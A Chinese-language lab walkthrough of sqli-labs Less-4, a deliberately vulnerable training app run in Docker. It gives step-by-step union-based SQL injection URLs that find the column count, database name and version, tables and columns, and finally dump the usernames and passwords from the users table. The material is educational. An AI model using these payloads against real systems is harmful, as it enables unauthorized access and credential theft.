摘要 {#摘要}
本文介绍了对 sqli-labs 的实验,主要讲解了 Less4 的题目。在前期准备工作完成后,通过特定的步骤来判断是否存在入,判断显错位,判断名、版本,判断表名,判断列名,如何获取数据。除此之外,还对最后的结果进行了优化。通过本文的介绍,读者可以更好地了解 SQL 注入实验的过程和执行方法。
实验环节 {#实验环节}
前期准备 {#前期准备}
su - root
docker run -d --name sqli-labs -p 80:80 -p 13306:3306 --rm acgpiano/sqli-labs #为了不占用系统资源,这条命令在每次虚拟机关机后会自动清除进程,所以每次开机后都要运行这条命令
浏览器访问Less-4的地址
打开HackBar插件
判断是否存在注入 {#判断是否存在注入}
http://192.168.199.129/Less-4/?id=1"
#如下图可根据页面报错信息得知sql语句是双引号字符型且有括号,通过以下代码进行sql注入
http://192.168.199.129/Less-4/?id=1")order by 4 -- xz
#order by 1-3都是没有任何异常,4显示报错
判断显错位 {#判断显错位}
http://192.168.199.129/Less-4/?id=-1") union select 1,2,3 -- xz
判断库名,版本号 {#判断库名,版本号}
http://192.168.199.129/Less-4/?id=-1") union select 1,database(),version() -- xz
判断表名 {#判断表名}
http://192.168.199.129/Less-4/?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' -- xz
#也可使用limit一个一个查询,这样不容易掉坑,Less-1讲解了具体用法,这里就不多说了
判断列名 {#判断列名}
http://192.168.199.129/Less-4/?id=-1") union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' -- xz
判断数据 {#判断数据}
http://192.168.199.129/Less-4/?id=-1") union select 1,group_concat(username),group_concat(password) from users -- xz
美化后的格式结果
http://192.168.199.129/Less-4/?id=-1") union select 1,group_concat(username,0x3a,password,0x3C,0x68,0x72,0x2F,0x3E),3 from users -- xz